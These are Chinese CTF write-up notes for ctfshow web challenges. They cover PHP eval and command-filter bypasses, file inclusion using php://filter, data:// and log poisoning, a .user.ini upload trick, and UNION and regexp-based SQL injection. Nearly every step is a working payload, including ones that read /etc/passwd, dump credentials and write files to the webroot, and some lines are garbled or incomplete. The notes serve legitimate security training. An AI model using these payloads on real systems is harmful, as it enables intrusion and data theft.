爆破
web21

通过抓包发现basic 猜测是base64,解密后得到 admin:admin

对于admin:admin抓包,我们设置1的时候把admin:圈上了,所以后面,这里要加一个:
顺序也不能乱,先设置 add Suffix: 在设置加密

查看回显包。

命令执行
web29
- get c,如果不为flag,去执行c,PHP代码执行c。这个题过滤掉了flag字符。
- ?c=phpinfo(); 或者 ?c=phpinfo()?> ?c=system(‘ls’);
- c=file_get_contents(“) ?c=system(“cp flag.php 1.txt”); ?c=system(“cp fla?.php 1.txt”);
- 换成?为什么换成? 因为在shell里面 ?站一个占位符,和正则有点相似,*代表多个,?代表一个。
- /1.txt
web30
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020-09-04 00:42:26# @email: h1xa@ctfer.com# @link: https://ctfer.com*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c); }
}else{
highlight_file(__FILE__);
}
- 还是命令执行,多了一个PHP
- /?c=
cp fla?.??? 1.txt
; - 为什么这样可以?
- 反引号 在PHP里面代表的是和system类似的,类似于shell执行。因为这里php过滤了,用???占位符代表
- 因为知道flag.php——->fla?.???表示
web31
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-04 00:12:34# @Last Modified by: h1xa# @Last Modified time: 2020-09-04 00:42:26# @email: h1xa@ctfer.com# @link: https://ctfer.com*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{ highlight_file(__FILE__);
}
- 过滤了很多,用嵌套eval执行
- ?c=eval($_GET[1]);&1=phpinfo(); get第一个参数。1相当于参数逃逸出去了不属于c。可以任意使用代码禁掉的关键字。
- ?c=eval($_GET[1]);&1=system(‘ls’); ?c=eval($_GET[1]);&1=system(‘cat flag.php’);
- 在php中查看源代码才能看见,
- 倒序,?c=eval($_GET[1]);&1=system(‘tac flag.php’);
- 反过来读代码。
- 将c参数用一个跳板,把c参数用另一个参数去执行。
web32
更多过滤,把;和左边的(、`` , ‘等等都过滤了,用逃逸去做,
没用空格的情况,用URL编码去绕过,没有;最后一个语句可以不用;
?c=include%0a$_GET[1];&1=/etc/passwd
没有包含成功
?c=include%0a$_GET[1]?>&1=/etc/passwd
通过文件包含来读取非PHP的文本文件。
?c=include%0a$_GET[1]?>&1=flag.php
是看不到,虽然包含了,但是没有输出flag的变量。
?c=include%0a$_GET[1]?>
因为没又用;分割,所以造成了无法输出。
文件包含?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
使用了一个文件包含的方法,通过base64的编译去读取flag.php
。
伪协议,通过指定的通道,filter通道
,通道是base64-encode。
整体,我读到的资源用base64编码,如果不用base64的话,会看不到源文件的。
解码。
web33
多过滤了一个双引号。前面的方法能接出来,用另外一个方法。
?c=require%0a$_GET[1]?>&1=/etc/passwd
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
思路是一样,用到的代码不同,
web34
多过滤了一个;为了过滤直接伪协议的参数,
都过滤了,只能使用语言结构, echo print isset unset include require
常用的语言结构
这几个语言结构是不用括号的,用
?c=print%0a$_GET[1]?>&1=phpinfo();
结果是php引发的字符,和二进制相似,存在代码空间和数据空间
二进制里面有代码段,和数据段,这里phpinfo
属于数据段,不在代码段,所以执行不了,作为一个字符串来执行。
?c=eval%0a$_GET[1]?>&1=phpinfo();
这里行不通eval在这里必须用括号才能执行,所以eval行不通
?c=include%0a$_GET[1]?>&1=/etc/passwd 在这里属于文件读取,不属于代码执行
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
=、<进行了限制。
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
不让用数字了,把1换成a即可
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
字母可以不用’’单引号
web37
?c=$_GET[1]&1=flag.php
属于数据段,包含了字符串,不能解析这个字符串
?c=php://filter/convert.base64-encode/resource=flag.php
不行
?c=data://text/plain
, 可以执行,因为data协议,把后面的数字,字符作为php代码去执行。
?c=data://text/plain
, 不行
?c=data://text/plain
, 不行
?c=data://text/plain
, 复制办法,过滤掉了flag字符,用?去占位
data
伪协议利用。
web38
过滤了php和file
?c=data://text/plain
, 这种写法不行
?c=data://text/plain
, 这种方法,叫做短标签。
web39
没有回显了,后面强制加了后缀。.php
?c=data://text/plain,.php
完整代码是这样
下面会出现1.php,phpinfo返回值是1,就是1.php,
?c=data://text/plain,.php
会出现2.php.php
如果 把.php去掉就出现2.php
?c=data://text/plain,
web40
过滤了许多符号,没有过滤字母,没有过滤分号,没有过滤下划线
show_source(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数 localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next(): 函数将内部指针指向数组中的下一个元素,并输出。 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以 scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
localeconv
:是一个包含了与数字和货币有关的区域设置信息的结构体
pos
:取这个点
scandir
:扫描当前目录
array_reverse
:把目录的结果进行翻转
next
:取下一个
show_source
:显示源码。
老方法用不成
?c=print_r(get_definde_vars());
打印当前的变量;
加一个post值,我们要拿到他的字符串phpinfo();能执行这个字符串,就能rce
?c=print_r(next(get_definde_vars()));
拿到了数组,
对数组进行一个弹出 ?c=print_r(array_pop(next(get_definde_vars())));
得到结果phpinfo
?c=eval(array_pop(next(get_definde_vars())));
执行数组;
payload: ?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
//打印文件
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
//highlight读取文件
web41
过滤了部分字符,数字,字母、`` + 作为一个php代码的执行
通过特殊字符构造出来一个字母去代码执行。
web42
payload: ?c= tac f* ||
web43
payload: ?c= tac f* ||
web44
对比上几题,多了一个对flag关键字的过滤,这里可以用通配符*?代替
cat fla?.p?
?表示一个通配符, *表示匹配多个通配符
payload: ?c=tac f* ||
web45
这里对空格进行了过滤,用转义字符%09绕过即可
payload:?c=tac%09f*%09||
web 46
payload: ?c=tac%09fla?.???||
文件包含
web 78
php伪协议,插件利用。
?file=php://filter/convert.base64-encode/resource=flag.php
解密得到的结果。
web 79
php data协议,data://text/plain;base64,
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
大写php 绕过,
2、日志文件包含:
访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log
和/var/log/nginx/error.log
构造:?file=/var/log/nginx/access.log, c
ca成访问
成功访问。
web 80
日志包含
首先在UA头里面插入一句话
接着包含日志文件并利用一句话
web 81
日志包含
文件上传
web 151
抓包改掉后缀直接上传,连接访问。
web152
抓包改掉后缀直接上传,连接访问。
web153
使用.user.ini
指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file
是在文件前插入;auto_append_file
在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件
上传.user.ini
内容为auto_append_file="xxx" xxx
为上传文件名字 上传.user.ini文件内容为: GIF89a auto_prepend_file=1.png
然后再上传一句话1.png

sql注入
web 171
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
点击查询发现存在三个字段,所以就不用order by 去查询字段了,注意语句闭合。
'union select 1,database(),3 --
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- qwe
'union select 1,username,password from ctfshow_user -- qwe
web172
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
第 二题看出查询的数据不包含flag,并且给出了数据库是ctfshow_user2
从语句中看,判断有两列’union select 1,2 -- +
有回显
payload: 'union select to_base64(username),hex(password) from ctfshow_user2 -- +
最后一行解码是flag
web173
与172一样,只是173三列都有回显,
payload:'union select 1,hex(username),hex(password) from ctfshow_user3 -- +
payload: 'union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag' limit 1,1 -- A
web174
过滤了不能有数字,
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
payload: 'union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag' limit 1,1 -- A
替换username: replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
替换password replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') ' union slect replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1 -- A
web 175
0-127不让输出,不让输出到页面,
'union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- A
web 176
过滤注入,先试一下,看过滤了什么。
' union select 1,2,3 from ctshow_user limit 1 --A
大小写试一下,
' union sElect 1,2,password from ctshow_user where username='flag' limit 1,1 --A
web 177
' union select 1,2,3 from ctshow_user limit 1 --A
1’ and 1=1 %23 没有数据
1 ' and (1 = 1)%23
没有数据
1'and(1=1)%23
有数据
1’%23有数据
那就是应该是吧空格给过滤掉了
反引号也可以作为条件空格。
paylaod:'/**/union/**/select/**/1,2,password/**/from/**/ctshow_user/**/where/**/username='flag'/**/limit/**/1,1/**/%23
paylaod:'/**/union/**/select/**/1,2,password/**/fromctshow_userwhereusername='flag'limit/**/1,1/**/%23
web178
在mysql中table键可以作为空格来做 ascii %09为table键
1' or 'a'='a
无数据
1’or’a’=’a 有数据
判断还是过滤了空格,
1/**/'or'a'='a
无数据
1/1/'or'a'='a
异常,过滤了号, 绕过号。
1'%09and'a'='a
成功
'%09union%09select%091,2,password%09from%09ctfshow_user%09where username='flag' limit%091,1%09-- A
web179
1'%0aand'a'='a
1'%0band'a'='a
1’%0cand’a’=’a 几个换表符号
%0c
能用。
web180
1'%0dand'a'='a
1’%00and’a’=’a测试
所用空格都给过滤掉了,
id=26
因为之前的几个flag都在id中
直接()包含一下
11111报错后面执行。
11111'or(id=26)and'a'='a
web181
跟上面一样。
web182
跟上面一样
web183
POST 提交的tableName
hackbar post提交
regexp()
正则,
tableName=ctfshow_userwhere pass regexp('fl')
匹配到了数量是一
tableName=ctfshow_userwhere(substr(pass,1,1)regexp('f'))
where(substr(pass,1,1)regexp('f'))
tableName=ctfshow_user
where(substr(username
,1,1)regexp(‘f’))
tableName=ctfshow_userwhere(substr(username,{},1)regexp(\'{}\'))
(ctfshow)where(substr(pass,1,1))regexp('f')
flag{0ff62daa-bc2c-4909-bbcc-a849c7e5e46b}
flag{0ff62daa-bc2c-4909-bbcc-a849c7e5e46b}
web184
过滤了很多关键字,盲注,时间都过滤了;
tableName=ctfshow_user as a right join ctfshow_user as b on substr(pass,1,1)regexp('f')
单引号突破regexp(chr(0x66))
tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(102)))
成功执行。